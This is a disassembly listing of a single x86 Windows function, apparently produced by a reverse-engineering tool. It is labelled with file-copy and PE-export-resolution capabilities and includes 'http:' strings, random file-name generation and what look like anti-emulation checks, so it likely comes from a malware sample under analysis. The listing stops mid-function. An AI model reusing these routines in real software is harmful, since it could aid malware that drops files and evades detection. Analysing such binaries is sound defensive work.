Function at 0x426410
Capabilities:
Copy file
Resolve function by parsing pe exports

Disassembly:
push 0xffffffffffffffff
push 0x4575b3
mov eax, dword fs:[0]
push eax
sub esp, 0x25c
mov eax, dword [0x467334]
xor eax, esp
mov dword [esp + 0x258], eax
push ebx
push ebp
push esi
push edi
mov eax, dword [0x467334]
xor eax, esp
push eax
lea eax, [esp + 0x270]
mov dword fs:[0], eax
mov eax, dword [esp + 0x280]
mov dword [esp + 0x24], eax
xor ebx, ebx
mov dword [esp + 0x278], ebx
mov ecx, dword [esp + 0x29c]
mov edi, dword [esp + 0x288]
cmp ecx, 0x10
jb 0x42653e
mov esi, edi
cmp edi, ebx
je 0x4264a9
mov eax, edi
cmp ecx, 0x10
jae 0x42648a
lea eax, [esp + 0x288]
cmp eax, esi
ja 0x4264a9
mov eax, edi
cmp ecx, 0x10
jae 0x42649c
lea eax, [esp + 0x288]
mov edx, dword [esp + 0x298]
add eax, edx
cmp esi, eax
jbe 0x4264c3
call fcn.0043c74a
mov ecx, dword [esp + 0x29c]
mov edx, dword [esp + 0x298]
mov edi, dword [esp + 0x288]
lea eax, [esp + 0x284]
mov dword [esp + 0x28], eax
mov dword [esp + 0x2c], esi
mov eax, edi
cmp ecx, 0x10
jae 0x4264e0
lea eax, [esp + 0x288]
lea esi, [eax + edx]
mov dword [esp + 0x1c], esi
cmp esi, ebx
je 0x426511
mov eax, edi
cmp ecx, 0x10
jae 0x4264f9
lea eax, [esp + 0x288]
cmp eax, esi
ja 0x426511
mov eax, edi
cmp ecx, 0x10
jae 0x42650b
lea eax, [esp + 0x288]
add eax, edx
cmp esi, eax
jbe 0x426516
call fcn.0043c74a
mov dword [esp + 0x20], ebx
mov ebp, 0xf
nop
push 4
mov dword [esp + 0x50], ebx
mov dword [esp + 0x54], ebx
call fcn.0043cb98
add esp, 4
cmp eax, ebx
je 0x42654a
lea ecx, [esp + 0x54]
mov dword [eax], ecx
jmp 0x42654c
lea esi, [esp + 0x288]
jmp 0x42647c
xor eax, eax
mov dword [esp + 0x54], eax
mov dword [esp + 0x60], ebx
mov dword [esp + 0x64], ebx
mov dword [esp + 0x68], ebx
mov dword [esp + 0x6c], ebx
mov dword [esp + 0x70], ebx
mov dword [esp + 0x74], ebx
mov dword [esp + 0x78], ebx
mov byte [esp + 0x7c], bl
mov dword [esp + 0x80], ebx
mov dword [esp + 0x84], ebx
mov dword [esp + 0x88], ebx
mov dword [esp + 0x8c], ebx
mov byte [esp + 0x90], bl
mov dword [esp + 0x94], ebx
mov dword [esp + 0x98], ebx
mov dword [esp + 0x9c], ebx
mov dword [esp + 0xa0], ebx
mov byte [esp + 0xa4], bl
mov byte [esp + 0x278], 2
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
push ebx
shr esi, 0x18
call fcn.0043cb47
imul eax, eax, 0x63
add esp, 4
cmp esi, eax
jbe 0x4265e8
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_VerifyVersionInfoA]
call fcn.00418740
push 0x100
lea edx, [esp + 0x200]
push edx
sub esp, 0x1c
mov esi, esp
mov dword [esi + 0x18], ebp
lea edi, [esi + 4]
mov dword [esi + 0x14], ebx
mov byte [edi], bl
mov eax, dword [esi + 0x18]
mov dword [esp + 0xd4], esp
cmp eax, 0x10
jb 0x426618
mov ecx, dword [edi]
jmp 0x42661a
mov ecx, edi
cmp ecx, str._http:_
ja 0x426655
cmp eax, 0x10
jb 0x42662b
mov ecx, dword [edi]
jmp 0x42662d
mov ecx, edi
mov edx, dword [esi + 0x14]
add edx, ecx
cmp edx, str._http:_
jbe 0x426655
cmp eax, 0x10
jb 0x426641
mov edi, dword [edi]
push 0x2f
mov eax, str._http:_
sub eax, edi
push eax
push esi
mov ecx, esi
call fcn.00402ea0
jmp 0x426698
cmp eax, 0x2f
jae 0x426667
mov ecx, dword [esi + 0x14]
push ecx
push 0x2f
mov ecx, esi
call fcn.00403800
mov ecx, dword [esi + 0x18]
cmp ecx, 0x10
jb 0x426673
mov eax, dword [edi]
jmp 0x426675
mov eax, edi
push 0x2f
push str._http:_
push ecx
push eax
call fcn.0043c85e
add esp, 0x10
cmp dword [esi + 0x18], 0x10
mov dword [esi + 0x14], 0x2f
jb 0x426695
mov edi, dword [edi]
mov byte [edi + 0x2f], bl
lea esi, [esp + 0x1ac]
call fcn.00401900
push eax
mov byte [esp + 0x284], 3
call fcn.00401c70
mov edi, pe_nt_image_headers32
mov byte [esp + 0x27c], 4
cmp dword [eax + 0x18], edi
jb 0x4266c9
mov eax, dword [eax + 4]
jmp 0x4266cc
add eax, 4
push eax
lea edx, [esp + 0x184]
push edx
call fcn.0040f810
mov esi, dword [esp + 0x1c]
mov byte [esp + 0x278], 5
mov ecx, dword [esp + 0x2c]
mov edx, dword [esp + 0x28]
push ecx
push edx
push esi
lea esi, [esp + 0x290]
push esi
push ecx
push edx
push eax
lea eax, [esp + 0x68]
push eax
xor ecx, ecx
call fcn.00410a20
add esp, 0x20
lea ecx, [esp + 0x17c]
push ecx
movzx esi, al
mov byte [esp + 0x27c], 4
call fcn.0040f900
cmp dword [esp + 0x214], edi
jb 0x42673c
mov edx, dword [esp + 0x200]
push edx
call fcn.0043c853
add esp, 4
mov byte [esp + 0x278], 2
mov dword [esp + 0x214], ebp
mov dword [esp + 0x210], ebx
mov byte [esp + 0x200], bl
cmp dword [esp + 0x1d8], edi
jb 0x426772
mov eax, dword [esp + 0x1c4]
push eax
call fcn.0043c853
add esp, 4
mov dword [esp + 0x1d8], ebp
mov dword [esp + 0x1d4], ebx
mov byte [esp + 0x1c4], bl
cmp dword [esp + 0x1bc], edi
jb 0x4267a0
mov ecx, dword [esp + 0x1a8]
push ecx
call fcn.0043c853
add esp, 4
mov dword [esp + 0x1bc], ebp
mov dword [esp + 0x1b8], ebx
mov byte [esp + 0x1a8], bl
cmp dword [esp + 0x1a0], edi
jb 0x4267ce
mov edx, dword [esp + 0x18c]
push edx
call fcn.0043c853
add esp, 4
cmp esi, ebx
je 0x42700e
mov ecx, dword [esp + 0x64]
mov esi, dword [esp + 0x60]
sub ecx, esi
mov eax, 0x66666667
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp eax, 4
je 0x426828
mov byte [esp + 0x278], bl
cmp esi, ebx
je 0x42680a
push esi
call fcn.0043c853
add esp, 4
mov ecx, dword [esp + 0x54]
push ecx
mov dword [esp + 0x64], ebx
mov dword [esp + 0x68], ebx
mov dword [esp + 0x6c], ebx
call fcn.0043c853
add esp, 4
jmp 0x426ffa
lea eax, [esi + 0x14]
lea ecx, [esp + 0x30]
call fcn.0040f7f0
push 0xffffffffffffffff
mov byte [esp + 0x27c], 6
push ebx
lea edx, [esp + 0x38]
push edx
lea ecx, [esp + 0x25c]
mov dword [esp + 0x274], ebp
mov dword [esp + 0x270], ebx
mov byte [esp + 0x260], bl
call fcn.00402ea0
mov byte [esp + 0x278], 8
cmp dword [esp + 0x48], edi
jb 0x426880
mov eax, dword [esp + 0x34]
push eax
call fcn.0043c853
add esp, 4
mov ecx, dword [esp + 0x64]
sub ecx, dword [esp + 0x60]
mov eax, 0x66666667
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dword [esp + 0x48], ebp
mov dword [esp + 0x44], ebx
mov byte [esp + 0x34], bl
cmp eax, 2
ja 0x4268b3
lea eax, [esp + 0x94]
jmp 0x4268ba
mov eax, dword [esp + 0x60]
add eax, 0x28
lea ecx, [esp + 0x1fc]
call fcn.0040f7f0
push 0xffffffffffffffff
push ebx
lea ecx, [esp + 0x204]
mov byte [esp + 0x280], 9
push ecx
lea ecx, [esp + 0x1ec]
mov dword [esp + 0x204], ebp
mov dword [esp + 0x200], ebx
mov byte [esp + 0x1f0], bl
call fcn.00402ea0
cmp dword [esp + 0x214], edi
jb 0x426913
mov edx, dword [esp + 0x200]
push edx
call fcn.0043c853
add esp, 4
mov dword [esp + 0x278], 0xb
mov ecx, dword [esp + 0x64]
sub ecx, dword [esp + 0x60]
mov eax, 0x66666667
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dword [esp + 0x214], ebp
mov dword [esp + 0x210], ebx
mov byte [esp + 0x200], bl
cmp eax, 3
ja 0x42695a
lea eax, [esp + 0x94]
jmp 0x426961
mov eax, dword [esp + 0x60]
add eax, 0x3c
lea ecx, [esp + 0x30]
call fcn.0040f7f0
push 0xffffffffffffffff
mov byte [esp + 0x27c], 0xe
push ebx
lea eax, [esp + 0x38]
push eax
lea ecx, [esp + 0x240]
mov dword [esp + 0x258], ebp
mov dword [esp + 0x254], ebx
mov byte [esp + 0x244], bl
call fcn.00402ea0
mov byte [esp + 0x278], pe_nt_image_headers32
cmp dword [esp + 0x48], edi
jb 0x4269b6
mov ecx, dword [esp + 0x34]
push ecx
call fcn.0043c853
add esp, 4
lea edx, [esp + 0xc4]
push edx
mov dword [esp + 0x4c], ebp
mov dword [esp + 0x48], ebx
mov byte [esp + 0x38], bl
mov dword [esp + 0xc0], ebx
mov dword [esp + 0xc4], ebx
call fcn.0042a300
mov dword [esp + 0xdc], ebx
mov dword [esp + 0xe0], ebx
mov dword [esp + 0xe4], ebx
mov dword [esp + 0xe8], ebx
mov byte [esp + 0xec], bl
mov dword [esp + 0xf0], ebx
mov dword [esp + 0xf4], ebx
mov dword [esp + 0xf8], ebx
mov dword [esp + 0xfc], ebx
mov byte [esp + 0x100], bl
mov dword [esp + 0x104], ebx
mov dword [esp + 0x108], ebx
mov dword [esp + 0x10c], ebx
mov dword [esp + 0x110], ebx
mov byte [esp + 0x114], bl
push ebx
push 0x100
lea eax, [esp + 0x204]
push eax
sub esp, 0x1c
mov esi, esp
mov byte [esp + 0x2a0], 0x11
mov dword [esi + 0x18], ebp
lea edi, [esi + 4]
mov dword [esi + 0x14], ebx
mov byte [edi], bl
mov eax, dword [esi + 0x18]
mov dword [esp + 0xd8], esp
cmp eax, 0x10
jb 0x426a7f
mov ecx, dword [edi]
jmp 0x426a81
mov ecx, edi
cmp ecx, 0x45ca98
ja 0x426abc
cmp eax, 0x10
jb 0x426a92
mov ecx, dword [edi]
jmp 0x426a94
mov ecx, edi
mov edx, dword [esi + 0x14]
add edx, ecx
cmp edx, 0x45ca98
jbe 0x426abc
cmp eax, 0x10
jb 0x426aa8
mov edi, dword [edi]
push 0x1f
mov eax, 0x45ca98
sub eax, edi
push eax
push esi
mov ecx, esi
call fcn.00402ea0
jmp 0x426aff
cmp eax, 0x1f
jae 0x426ace
mov ecx, dword [esi + 0x14]
push ecx
push 0x1f
mov ecx, esi
call fcn.00403800
mov ecx, dword [esi + 0x18]
cmp ecx, 0x10
jb 0x426ada
mov eax, dword [edi]
jmp 0x426adc
mov eax, edi
push 0x1f
push 0x45ca98
push ecx
push eax
call fcn.0043c85e
add esp, 0x10
cmp dword [esi + 0x18], 0x10
mov dword [esi + 0x14], 0x1f
jb 0x426afc
mov edi, dword [edi]
mov byte [edi + 0x1f], bl
lea esi, [esp + 0x1b0]
call fcn.00401900
mov ecx, eax
mov byte [esp + 0x284], 0x12
call fcn.00401b50
mov byte [esp + 0x280], 0x13
cmp dword [eax + 0x18], 0x10
jb 0x426b2d
mov eax, dword [eax + 4]
jmp 0x426b30
add eax, 4
push eax
lea edx, [esp + 0xc0]
push edx
call fcn.0040f810
push eax
lea eax, [esp + 0xc4]
push eax
lea edi, [esp + 0x25c]
mov byte [esp + 0x284], 0x14
call fcn.004106e0
add esp, 0xc
lea ecx, [esp + 0xb4]
push ecx
movzx edi, al
mov byte [esp + 0x27c], 0x13
call fcn.0040f900
cmp dword [esp + 0x214], 0x10
jb 0x426b90
mov edx, dword [esp + 0x200]
push edx
call fcn.0043c853
add esp, 4
lea esi, [esp + 0x188]
mov dword [esp + 0x214], ebp
mov dword [esp + 0x210], ebx
mov byte [esp + 0x200], bl
mov byte [esp + 0x278], 0x11
call fcn.00429050
cmp edi, ebx
jne 0x426cbf
mov eax, dword [esp + 0xd0]
cmp eax, ebx
je 0x426bd5
push eax
call fcn.0043c853
add esp, 4
mov eax, dword [esp + 0xc4]
push eax
mov dword [esp + 0xd4], ebx
mov dword [esp + 0xd8], ebx
mov dword [esp + 0xdc], ebx
call fcn.0043c853
mov esi, pe_nt_image_headers32
add esp, 4
cmp dword [esp + 0x24c], esi
jb 0x426c18
mov ecx, dword [esp + 0x238]
push ecx
call fcn.0043c853
add esp, 4
mov dword [esp + 0x24c], ebp
mov dword [esp + 0x248], ebx
mov byte [esp + 0x238], bl
cmp dword [esp + 0x1f8], esi
jb 0x426c46
mov edx, dword [esp + 0x1e4]
push edx
call fcn.0043c853
add esp, 4
mov dword [esp + 0x1f8], ebp
mov dword [esp + 0x1f4], ebx
mov byte [esp + 0x1e4], bl
cmp dword [esp + 0x268], esi
jb 0x426c74
mov eax, dword [esp + 0x254]
push eax
call fcn.0043c853
add esp, 4
mov byte [esp + 0x278], bl
mov eax, dword [esp + 0x60]
mov dword [esp + 0x268], ebp
mov dword [esp + 0x264], ebx
mov byte [esp + 0x254], bl
cmp eax, ebx
je 0x426ca1
push eax
call fcn.0043c853
add esp, 4
mov ecx, dword [esp + 0x54]
push ecx
mov dword [esp + 0x64], ebx
mov dword [esp + 0x68], ebx
mov dword [esp + 0x6c], ebx
call fcn.0043c853
add esp, 4
jmp 0x426ffa
mov ecx, dword [esp + 0xd4]
mov esi, dword [esp + 0xd0]
sub ecx, esi
mov eax, 0x66666667
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp eax, 2
je 0x426de0
cmp esi, ebx
je 0x426cf6
push esi
call fcn.0043c853
add esp, 4
mov ecx, dword [esp + 0xc4]
push ecx
mov dword [esp + 0xd4], ebx
mov dword [esp + 0xd8], ebx
mov dword [esp + 0xdc], ebx
call fcn.0043c853
mov esi, pe_nt_image_headers32
add esp, 4
cmp dword [esp + 0x24c], esi
jb 0x426d39
mov edx, dword [esp + 0x238]
push edx
call fcn.0043c853
add esp, 4
mov dword [esp + 0x24c], ebp
mov dword [esp + 0x248], ebx
mov byte [esp + 0x238], bl
cmp dword [esp + 0x1f8], esi
jb 0x426d67
mov eax, dword [esp + 0x1e4]
push eax
call fcn.0043c853
add esp, 4
mov dword [esp + 0x1f8], ebp
mov dword [esp + 0x1f4], ebx
mov byte [esp + 0x1e4], bl
cmp dword [esp + 0x268], esi
jb 0x426d95
mov ecx, dword [esp + 0x254]
push ecx
call fcn.0043c853
add esp, 4
mov byte [esp + 0x278], bl
mov eax, dword [esp + 0x60]
mov dword [esp + 0x268], ebp
mov dword [esp + 0x264], ebx
mov byte [esp + 0x254], bl
cmp eax, ebx
je 0x426dc2
push eax
call fcn.0043c853
add esp, 4
mov edx, dword [esp + 0x54]
push edx
mov dword [esp + 0x64], ebx
mov dword [esp + 0x68], ebx
mov dword [esp + 0x6c], ebx
call fcn.0043c853
add esp, 4
jmp 0x426ffa
call fcn.00403c90
test eax, eax
je 0x426dee
call fcn.00419950
mov edi, 1
lea esi, [esp + 0xbc]
call fcn.0040f7a0
lea ecx, [esp + 0x1fc]
call fcn.0040f7f0
push 0xffffffffffffffff
mov byte [esp + 0x27c], 0x15
push ebx
lea eax, [esp + 0x204]
push eax
lea ecx, [esp + 0x224]
mov dword [esp + 0x23c], ebp
mov dword [esp + 0x238], ebx
mov byte [esp + 0x228], bl
call fcn.00402ea0
mov byte [esp + 0x278], 0x17
cmp dword [esp + 0x214], 0x10
jb 0x426e61
mov ecx, dword [esp + 0x200]
push ecx
call fcn.0043c853
add esp, 4
mov dword [esp + 0x214], ebp
mov dword [esp + 0x210], ebx
mov byte [esp + 0x200], bl
call fcn.00417960
test eax, eax
je 0x426e84
call fcn.00419cc0
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0xcc], esp
push 0xffffffffffffffff
push ebx
lea edx, [esp + 0x258]
mov dword [ecx + 0x18], ebp
mov dword [ecx + 0x14], ebx
push edx
mov byte [ecx + 4], bl
call fcn.00402ea0
sub esp, 0x1c
mov ecx, esp
mov byte [esp + 0x2b0], 0x18
mov dword [esp + 0x1bc], esp
push 0xffffffffffffffff
push ebx
lea eax, [esp + 0x220]
mov dword [ecx + 0x18], ebp
mov dword [ecx + 0x14], ebx
push eax
mov byte [ecx + 4], bl
call fcn.00402ea0
sub esp, 0x1c
mov ecx, esp
mov byte [esp + 0x2cc], 0x19
mov dword [esp + 0x100], esp
push 0xffffffffffffffff
push ebx
lea edx, [esp + 0x274]
mov dword [ecx + 0x18], ebp
mov dword [ecx + 0x14], ebx
push edx
mov byte [ecx + 4], bl
call fcn.00402ea0
sub esp, 0x1c
mov ecx, esp
mov byte [esp + 0x2e8], 0x1a
mov dword [esp + 0x88], esp
push 0xffffffffffffffff
push ebx
lea eax, [esp + 0x2c8]
mov dword [ecx + 0x18], ebp
mov dword [ecx + 0x14], ebx
push eax
mov byte [ecx + 4], bl
call fcn.00402ea0
mov ecx, dword [esp + 0x94]
mov byte [esp + 0x2e8], 0x17
call fcn.00427b10
call fcn.00403c90
mov dword [esp + 0x278], 0x17
call fcn.00417b10
test eax, eax
je 0x426f62
call fcn.00432560
lea eax, [esp + 0x4c]
call fcn.0042a5e0
mov edi, eax
lea eax, [esp + 0x4c]
call fcn.0042a560
add edi, eax
lea esi, [esp + 0x28]
call fcn.00403b40
cmp dword [esp + 0x28], 0xfffffffc
je 0x426fa0
mov eax, dword [esp + 0x28]
cmp eax, ebx
je 0x426f9b
lea ecx, [esp + 0x284]
cmp eax, ecx
je 0x426fa0
call fcn.0043c74a
mov edx, dword [esp + 0x2c]
lea ecx, [esp + 0x218]
cmp edx, dword [esp + 0x1c]
jae 0x427041
call fcn.00402c70
lea esi, [esp + 0xbc]
call fcn.0040f5a0
lea ecx, [esp + 0x234]
call fcn.00402c70
lea ecx, [esp + 0x1e0]
call fcn.00402c70
lea ecx, [esp + 0x250]
call fcn.00402c70
lea esi, [esp + 0x4c]
mov byte [esp + 0x278], bl
call fcn.0040f5a0
mov eax, dword [esp + 0x20]
inc eax
mov dword [esp + 0x20], eax
cmp eax, 0x1e
jb 0x426520
jmp 0x427086
mov byte [esp + 0x278], bl
mov eax, dword [esp + 0x60]
cmp eax, ebx
je 0x427026
push eax
call fcn.0043c853
add esp, 4
mov eax, dword [esp + 0x54]
push eax
mov dword [esp + 0x64], ebx
mov dword [esp + 0x68], ebx
mov dword [esp + 0x6c], ebx
call fcn.0043c853
add esp, 4
jmp 0x42708b
call fcn.00402c70
lea esi, [esp + 0xbc]
call fcn.0040f5a0
lea ecx, [esp + 0x234]
call fcn.00402c70
lea ecx, [esp + 0x1e0]
call fcn.00402c70
lea ecx, [esp + 0x250]
call fcn.00402c70
lea esi, [esp + 0x4c]
mov byte [esp + 0x278], bl
call fcn.0040f5a0
mov edi, pe_nt_image_headers32
lea ecx, [esp + 0x124]
push ecx
mov dword [esp + 0x120], ebx
mov dword [esp + 0x124], ebx
call fcn.0042a300
mov dword [esp + 0x13c], ebx
mov dword [esp + 0x140], ebx
mov dword [esp + 0x144], ebx
mov dword [esp + 0x148], ebx
mov byte [esp + 0x14c], bl
mov dword [esp + 0x150], ebx
mov dword [esp + 0x154], ebx
mov dword [esp + 0x158], ebx
mov dword [esp + 0x15c], ebx
mov byte [esp + 0x160], bl
mov dword [esp + 0x164], ebx
mov dword [esp + 0x168], ebx
mov dword [esp + 0x16c], ebx
mov dword [esp + 0x170], ebx
mov byte [esp + 0x174], bl
push ebx
push 0x100
lea edx, [esp + 0x1e8]
push edx
sub esp, 0x1c
mov byte [esp + 0x2a0], 0x1d
mov ecx, esp
mov dword [esp + 0x40], esp
push 0x23
mov dword [ecx + 0x18], ebp
mov dword [ecx + 0x14], ebx
push str.__http:_
mov byte [ecx + 4], bl
call fcn.004033f0
lea esi, [esp + 0x74]
call fcn.00401900
mov ecx, eax
mov byte [esp + 0x284], 0x1e
call fcn.00401db0
mov byte [esp + 0x280], 0x1f
cmp dword [eax + 0x18], edi
jb 0x42716d
mov ebp, dword [eax + 4]
jmp 0x427170
lea ebp, [eax + 4]
mov eax, dword [esp + 0x2c]
add eax, 0x1d8
push eax
lea ecx, [esp + 0x3c]
push ecx
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x44], esp
push 3
mov dword [ecx + 0x18], 0xf
mov dword [ecx + 0x14], ebx
push 0x45cadc
mov byte [ecx + 4], bl
call fcn.004033f0
lea esi, [esp + 0x1b4]
call fcn.00401900
mov ecx, eax
mov byte [esp + 0x288], 0x20
call fcn.00401db0
mov byte [esp + 0x284], 0x21
cmp dword [eax + 0x18], 0x10
jb 0x4271cf
mov eax, dword [eax + 4]
jmp 0x4271d2
add eax, 4
mov ecx, eax
lea edi, [esp + 0x208]
call fcn.0042f300
add esp, 4
push eax
mov edi, ebp
lea esi, [esp + 0x224]
mov byte [esp + 0x284], 0x22
call fcn.00405a10
add esp, 4
mov byte [esp + 0x280], 0x23
cmp dword [eax + 0x18], 0x10
jb 0x427210
mov eax, dword [eax + 4]
jmp 0x427213
add eax, 4
push eax
lea edx, [esp + 0xc0]
push edx
call fcn.0040f810
push eax
lea eax, [esp + 0x124]
push eax
lea edi, [esp + 0x290]
mov byte [esp + 0x284], 0x24
call fcn.004106e0
add esp, 0xc
lea ecx, [esp + 0xb4]
push ecx
movzx edi, al
mov byte [esp + 0x27c], 0x23
call fcn.0040f900
mov esi, pe_nt_image_headers32
cmp dword [esp + 0x230], esi
jb 0x427277
mov edx, dword [esp + 0x21c]
push edx
call fcn.0043c853
add esp, 4
mov ebp, 0xf
mov dword [esp + 0x230], ebp
mov dword [esp + 0x22c], ebx
mov byte [esp + 0x21c], bl
cmp dword [esp + 0x214], esi
jb 0x4272aa
mov eax, dword [esp + 0x200]
push eax
call fcn.0043c853
add esp, 4
mov dword [esp + 0x214], ebp
mov dword [esp + 0x210], ebx
mov byte [esp + 0x200], bl
cmp dword [esp + 0x48], esi
jb 0x4272d2
mov ecx, dword [esp + 0x34]
push ecx
call fcn.0043c853
add esp, 4
lea esi, [esp + 0x188]
mov dword [esp + 0x48], ebp
mov dword [esp + 0x44], ebx
mov byte [esp + 0x34], bl
call fcn.00429050
cmp dword [esp + 0x1f8], 0x10
jb 0x427304
mov edx, dword [esp + 0x1e4]
push edx
call fcn.0043c853
add esp, 4
lea esi, [esp + 0x4c]
mov dword [esp + 0x1f8], ebp
mov dword [esp + 0x1f4], ebx
mov byte [esp + 0x1e4], bl
mov byte [esp + 0x278], 0x1d
call fcn.00429050
cmp edi, ebx
je 0x427a8e
mov ecx, dword [esp + 0x134]
sub ecx, dword [esp + 0x130]
mov eax, 0x66666667
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp eax, 2
jne 0x427a8e
lea edi, [eax - 1]
lea esi, [esp + 0x11c]
call fcn.0040f7a0
lea ecx, [esp + 0x218]
call fcn.0040f7f0
push 0xffffffffffffffff
push ebx
lea ecx, [esp + 0x220]
mov byte [esp + 0x280], 0x25
push ecx
lea ecx, [esp + 0x208]
mov dword [esp + 0x220], ebp
mov dword [esp + 0x21c], ebx
mov byte [esp + 0x20c], bl
call fcn.00402ea0
mov byte [esp + 0x278], 0x27
cmp dword [esp + 0x230], 0x10
jb 0x4273cb
mov edx, dword [esp + 0x21c]
push edx
call fcn.0043c853
add esp, 4
lea eax, [esp + 0x234]
push eax
mov dword [esp + 0x234], 0xf
mov dword [esp + 0x230], ebx
mov byte [esp + 0x220], bl
call fcn.0042a300
mov ebp, dword [esp + 0x24]
add ebp, 0x2d8
mov byte [esp + 0x278], 0x28
mov ecx, dword [ebp + 0x10]
sub ecx, dword [ebp + 0xc]
mov eax, 0xea0ea0eb
imul ecx
add edx, ecx
sar edx, 7
mov ecx, edx
xor esi, esi
shr ecx, 0x1f
add ecx, edx
mov dword [esp + 0x20], esi
je 0x427464
jmp 0x427430
lea ebx, [esp + 0x20]
lea edi, [esp + 0x234]
call fcn.0042a700
mov ecx, dword [ebp + 0x10]
sub ecx, dword [ebp + 0xc]
mov eax, 0xea0ea0eb
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
inc esi
add eax, edx
mov dword [esp + 0x20], esi
cmp esi, eax
jb 0x427430
xor ebx, ebx
mov eax, dword [esp + 0x244]
mov ecx, dword [esp + 0x240]
mov esi, eax
sub esi, ecx
sar esi, 2
xor edi, edi
cmp esi, ebx
jbe 0x4274ce
nop
call fcn.0043c831
xor edx, edx
div esi
lea eax, [esp + 0x234]
mov ebx, edx
call fcn.0042a680
mov esi, eax
mov ebx, edi
lea eax, [esp + 0x234]
call fcn.0042a680
mov ecx, eax
mov eax, esi
call fcn.0042f140
mov eax, dword [esp + 0x244]
mov ecx, dword [esp + 0x240]
mov edx, eax
sub edx, ecx
mov esi, edx
inc edi
sar esi, 2
cmp edi, esi
jb 0x427480
xor ebx, ebx
sub eax, ecx
sar eax, 2
xor esi, esi
test eax, eax
jbe 0x427a76
lea ecx, [ecx]
mov ebx, esi
lea eax, [esp + 0x234]
call fcn.0042a680
mov eax, dword [eax]
push eax
mov eax, ebp
call fcn.004299e0
cmp dword [eax + 0x7c], 0
je 0x427519
mov ecx, dword [esp + 0x244]
sub ecx, dword [esp + 0x240]
inc esi
sar ecx, 2
cmp esi, ecx
jb 0x4274e0
jmp 0x427a74
mov edx, dword [esp + 0x24]
add edx, 0x19c
push edx
lea ecx, [esp + 0x1e4]
mov dword [esp + 0x20], esi
call fcn.00402c40
mov bl, 0x29
mov byte [esp + 0x278], bl
mov eax, dword [esp + 0x1f4]
test eax, eax
je 0x42756f
lea edi, [eax - 1]
lea eax, [esp + 0x1e0]
call fcn.00405280
cmp byte [eax], 0x5c
je 0x42756f
push 0x5c
mov eax, 1
lea edi, [esp + 0x1e4]
call fcn.00412820
mov esi, 8
call fcn.0043c831
and eax, 0x80000001
jns 0x427585
dec eax
or eax, 0xfffffffe
inc eax
jne 0x42759c
call fcn.0043c831
cdq
mov ecx, 0x19
idiv ecx
movsx eax, dl
add eax, 0x61
jmp 0x4275af
call fcn.0043c831
cdq
mov ecx, 0x19
idiv ecx
movsx eax, dl
add eax, 0x41
push eax
mov eax, 1
lea edi, [esp + 0x1e4]
call fcn.00412820
call fcn.00417b10
test eax, eax
je 0x4275cf
call fcn.00419a20
sub esi, 1
jne 0x427574
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x34], esp
push 4
mov ecx, str.W:74
lea edi, [esp + 0x238]
call fcn.00404720
lea esi, [esp + 0x68]
call fcn.00401900
mov edx, edi
mov ecx, eax
mov byte [esp + 0x278], 0x2a
call fcn.00401a70
mov ecx, eax
mov byte [esp + 0x278], 0x2b
call fcn.004030b0
lea edx, [esp + 0x1e0]
push edx
mov edx, eax
call fcn.00402e80
mov ecx, edi
call fcn.00402c70
mov byte [esp + 0x278], bl
call fcn.00429050
call fcn.00406870
test eax, eax
je 0x427649
call fcn.00438a50
lea eax, [esp + 0x250]
push eax
call fcn.0042a300
mov byte [esp + 0x278], 0x2c
call fcn.00403c90
sub eax, 1
jne 0x427672
call fcn.00419a90
call fcn.004399b0
lea ecx, [esp + 0x30]
push ecx
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x38], esp
push 0xb
mov ecx, 0x45c9c4
call fcn.00404720
lea esi, [esp + 0x6c]
call fcn.00401900
push eax
mov byte [esp + 0x280], 0x2d
call fcn.00401c70
mov ecx, eax
mov byte [esp + 0x278], 0x2e
call fcn.004030b0
push eax
lea ecx, [esp + 0x21c]
call fcn.00402c00
lea edx, [esp + 0x218]
push edx
lea ebx, [esp + 0x254]
mov byte [esp + 0x27c], 0x2f
call fcn.004297d0
lea ecx, [esp + 0x218]
call fcn.00402c70
lea ecx, [esp + 0x30]
call fcn.00402c70
mov byte [esp + 0x278], 0x2c
call fcn.00429050
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x34], esp
push 5
mov ecx, 0x45cae8
lea edi, [esp + 0x50]
call fcn.00404720
lea esi, [esp + 0x68]
call fcn.00401900
mov edx, edi
mov ecx, eax
mov byte [esp + 0x278], 0x30
call fcn.00401a70
mov ecx, eax
mov byte [esp + 0x278], 0x31
call fcn.004030b0
push eax
lea ecx, [esp + 0x21c]
call fcn.00402c00
lea eax, [esp + 0x218]
push eax
mov byte [esp + 0x27c], 0x32
call fcn.004297d0
lea ecx, [esp + 0x218]
call fcn.00402c70
mov ecx, edi
call fcn.00402c70
mov bl, 0x2c
mov byte [esp + 0x278], bl
call fcn.00429050
push 0
call fcn.0043cb47
sub esp, 0x14
mov ecx, esp
mov dword [esp + 0x30], esp
push ecx
lea ecx, [esp + 0x26c]
call fcn.00429660
sub esp, 0x1c
mov byte [esp + 0x2ac], 0x33
lea edx, [esp + 0x230]
mov ecx, esp
mov dword [esp + 0xe0], esp
push edx
call fcn.00402c40
mov edi, dword [esp + 0x58]
lea esi, [edi + 0x18]
mov ecx, esi
mov byte [esp + 0x2ac], bl
call fcn.00436690
mov ebx, eax
call fcn.00417960
sub eax, 1
jne 0x4277eb
call fcn.00438a50
call fcn.00419b00
call fcn.00417930
sub eax, 1
jne 0x4277ff
call fcn.00419f50
call fcn.00438a50
test ebx, ebx
jge 0x427852
lea ecx, [esp + 0x1fc]
call fcn.004030b0
push eax
lea eax, [esp + 0x21c]
push eax
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x3c], esp
push 0x33
mov ecx, 0x45caf0
call fcn.00404720
lea esi, [esp + 0x70]
call fcn.00401900
mov ecx, eax
mov byte [esp + 0x280], 0x34
call fcn.00401b50
mov byte [esp + 0x27c], 0x35
jmp 0x427a34
sub esp, 0x1c
lea edx, [esp + 0x1fc]
mov ecx, esp
